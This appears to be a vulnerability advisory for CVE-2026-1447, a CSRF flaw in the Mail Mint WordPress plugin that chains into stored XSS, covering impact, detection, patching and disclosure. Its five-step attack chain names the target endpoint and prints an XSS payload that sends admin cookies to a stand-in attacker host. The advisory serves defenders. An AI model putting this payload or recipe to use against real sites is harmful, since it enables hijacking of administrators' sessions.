CVE-2026-1447: 
WordPress vulnerability analysis and mitigation

CVE-2026-1447 is a Cross-Site Request Forgery (CSRF) vulnerability in the Mail Mint plugin for WordPress that can chain into stored Cross-Site Scripting (XSS). It affects all versions of Mail Mint up to and including 1.19.2, and was published on February 3, 2026, with the assigner being Wordfence. The flaw carries a CVSS v3.1 base score of 5.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is missing nonce validation on the create_or_update_note function within ContactProfileRoute.php and ContactProfileAction.php (CWE-352: Cross-Site Request Forgery). Because no CSRF token is checked, an unauthenticated attacker can craft a forged HTTP request that, when triggered by a logged-in administrator (e.g., via a malicious link), creates or updates contact notes on their behalf. Compounding the issue, the absence of input sanitization and output escaping on the note content means attacker-controlled data is stored and later rendered as HTML, resulting in stored XSS (Wordfence, WordPress Trac).

Successful exploitation allows an unauthenticated attacker to inject persistent malicious scripts into the WordPress admin interface via stored XSS, which executes in the context of any administrator who views the affected contact notes. This can lead to session hijacking, credential theft, unauthorized administrative actions (such as creating rogue admin accounts), and broader site compromise. Confidentiality and integrity are both impacted at a low-to-moderate level, while availability is not directly affected (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-1447 as of the available data. The EPSS score is approximately 0.015% (0.000150), indicating a very low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires social engineering to trick an administrator into clicking a malicious link, which raises the practical bar for attackers (Wordfence, Red Hat CVE).

1. Reconnaissance: Identify WordPress sites running the Mail Mint plugin at version 1.19.2 or earlier using tools like WPScan or Shodan with WordPress fingerprinting.
2. Craft forged request: Construct a malicious HTTP POST request targeting the create_or_update_note API endpoint (e.g., /wp-json/mail-mint/v1/contacts/{id}/notes) with a payload containing a stored XSS script (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) in the note body field.
3. Deliver the payload: Embed the forged request in a hidden HTML form or <img> tag on an attacker-controlled page, then trick a site administrator into visiting that page (e.g., via phishing email or malicious comment link).
4. Trigger stored XSS: Once the administrator's browser submits the forged request, the malicious note is stored in the database. The next time any administrator views the contact's profile in the Mail Mint dashboard, the stored script executes in their browser session.
5. Achieve objective: Use the executed script to steal session cookies, perform actions as the administrator, or create a backdoor account for persistent access (Wordfence, WordPress Trac).

• Network: Unexpected POST requests to Mail Mint contact note API endpoints (e.g., /wp-json/mail-mint/v1/contacts/*/notes) originating from unauthenticated or unusual sessions; outbound requests from the WordPress server to unknown external domains following admin page views.
• Logs: WordPress access logs showing POST requests to the notes endpoint without a valid nonce parameter; repeated requests from the same IP targeting multiple contact IDs.
• File System / Database: Contact notes in the Mail Mint database containing <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded payloads (e.g., <script>).
• Process / Browser: Administrators reporting unexpected redirects or pop-ups when viewing contact profiles in the Mail Mint dashboard; new administrator accounts created without authorization.

The vendor (getwpfunnels) released Mail Mint version 1.19.3, which adds nonce validation to the create_or_update_note function and applies proper input sanitization and output escaping. All users should update to version 1.19.3 or later immediately via the WordPress plugin dashboard. As a temporary workaround prior to patching, administrators can restrict access to the WordPress admin area by IP allowlisting and avoid clicking unsolicited links while logged in (Wordfence, WordPress Trac Changeset).

Wordfence disclosed the vulnerability through their threat intelligence platform and included it in their weekly WordPress vulnerability report for February 2–8, 2026 (Wordfence Weekly Report). The vulnerability was also catalogued by INCIBE-CERT and CCN-CERT (Spanish national cybersecurity agencies), reflecting standard tracking of medium-severity WordPress plugin flaws. No significant broader media coverage or notable researcher commentary beyond routine disclosure has been identified.